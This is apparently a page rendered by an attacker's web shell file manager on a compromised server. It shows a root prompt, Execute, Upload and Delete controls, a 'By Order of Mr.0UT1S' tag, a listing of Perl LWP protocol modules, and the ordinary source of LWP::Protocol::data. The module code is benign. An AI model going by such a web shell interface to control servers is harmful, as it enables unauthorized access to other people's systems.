usr
/
share
/
perl5
/
vendor_perl
/
LWP
/
Protocol
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
cpan.pm
1.33 KB
Rename
Delete
data.pm
1.20 KB
Rename
Delete
file.pm
3.75 KB
Rename
Delete
ftp.pm
18.69 KB
Rename
Delete
gopher.pm
5.59 KB
Rename
Delete
http.pm
14.76 KB
Rename
Delete
loopback.pm
586 bytes
Rename
Delete
mailto.pm
4.30 KB
Rename
Delete
nntp.pm
4.10 KB
Rename
Delete
nogo.pm
610 bytes
Rename
Delete
package LWP::Protocol::data; # Implements access to data:-URLs as specified in RFC 2397 use strict; our $VERSION = '6.34'; require HTTP::Response; require HTTP::Status; use base qw(LWP::Protocol); use HTTP::Date qw(time2str); require LWP; # needs version number sub request { my($self, $request, $proxy, $arg, $size) = @_; # check proxy if (defined $proxy) { return HTTP::Response->new( HTTP::Status::RC_BAD_REQUEST, 'You can not proxy with data'); } # check method my $method = $request->method; unless ($method eq 'GET' || $method eq 'HEAD') { return HTTP::Response->new( HTTP::Status::RC_BAD_REQUEST, 'Library does not allow method ' . "$method for 'data:' URLs"); } my $url = $request->uri; my $response = HTTP::Response->new( HTTP::Status::RC_OK, "Document follows"); my $media_type = $url->media_type; my $data = $url->data; $response->header('Content-Type' => $media_type, 'Content-Length' => length($data), 'Date' => time2str(time), 'Server' => "libwww-perl-internal/$LWP::VERSION" ); $data = "" if $method eq "HEAD"; return $self->collect_once($arg, $response, $data); } 1;
Save